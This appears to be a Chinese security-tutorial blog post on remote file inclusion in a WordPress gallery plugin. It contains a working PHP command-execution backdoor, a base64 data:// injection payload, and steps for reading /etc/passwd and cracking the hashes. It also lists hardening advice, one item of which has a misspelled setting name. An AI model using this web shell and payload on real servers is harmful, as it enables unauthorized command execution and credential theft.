【视频讲解】远程文件包含漏洞实战及演示

图片[1]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

相关阅读

视频讲解

今天我们将大家了解如何通过url访问路径,构造远程文件包含(Remote File Inclusion)漏洞。

通常文件包含会配合命令执行,通过访问一个url,我们就可以看到譬如服务器的密码、当前文件目录下有哪些其他文件,是不是听起来还蛮有意思的?

与此同时,我们还将在视频中讲解教大家使用wpscan去扫描wordpress插件漏洞,然后配合exploit-db来查找可以注入的位置,最终完成对wordpress的文件包含漏洞利用。

图文讲解

通常情况下,文件包含产生原因是 PHP 语言在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。

当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

相关笔记

  • 本地文件包含(LFI)
  • 远程文件包含(RFI)
  • 修复建议
  1. 禁止远程文件包含 allow_url_include=off
  2. 配置 open_basedir=指定目录,限制访问区域。
  3. 过滤../等特殊符号
  4. 修改Apache日志文件的存放地址
  5. 开启魔术引号 magic_quotes_qpc=on
  6. 尽量不要使用动态变量调用文件,直接写要包含的文件。

视频中的案例

视频中是发现了wordpress中的mygallery插件存在远程文件包含(RFI)漏洞

图片[2]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

其url路径为

/mygallery/myfunctions/mygallerybrowser.php?myPath=

myPath=后面就可以接一个其他服务器的文件地址,然后就可以进行命令执行等相关操作了

但是你可能会有疑惑,这样的后门文件去哪里找呢?

视频中是通过下面的命令来寻找kali提供的php后门文件,通过管道输出php文件

locate backdoor | grep php
图片[3]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

最终选择了最后一个simple-backdoor.php

图片[4]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

简单讲解一下代码,下面代码会接收你在url里传入的?cmd参数的值,然后使用system执行并打印命令结果

if (isset($_REQUEST['cmd'])){
	echo "<pre>";
	$cmd = $_REQUEST['cmd'];
	system($cmd);
	echo "</pre>";
	die;	
}

视频中先尝试了将cmd设置为ls,即&cmd=ls

图片[5]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

然后我们可以看到文件包含是成功的,因为输出了当前目录下所有文件信息

图片[6]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

当然,我们之前还学过ls -l的命令,可以显示文件权限、大小、修改日期等信息,这里只需要将ls -l进行url编码,也就是空格编码成了%20

图片[7]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

然后回车,我们可以看到信息变得更加详细了

图片[8]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

为什么说Linux命令这么重要,这里就得以体现了,你还可以进行更多的操作

我们还尝试查看服务器的一些用户密码,使用cat /etc/passwd,同样将空格转成%20,输入就变成了

图片[9]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

之后就可以看到结果了

图片[10]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

后续的利用你可以参考之前我们讲解的hashcat,离线破解密码

常见疑惑:图片中的base64编码是干啥的?

图片[11]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

先使用了base64编码了下面的代码

<?php system($_GET[C]); ?>

编码后为

PD9waHAgc3lzdGVtKCRfR0VUW0NdKTsgPz4=
图片[12]-【视频讲解】远程文件包含漏洞实战及演示-FancyPig's blog

然后作者将其添加到base64编码,即myPath=data://text/plain;base64,的后面

myPath=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW0NdKTsgPz4=

目的就是再增加一个输入的参数c,这也就是为什么后面我们把cat /etc/passwd写在了&c=后面

© 版权声明
THE END
喜欢就支持一下吧
点赞19赞赏 分享
评论 共16条

请登录后发表评论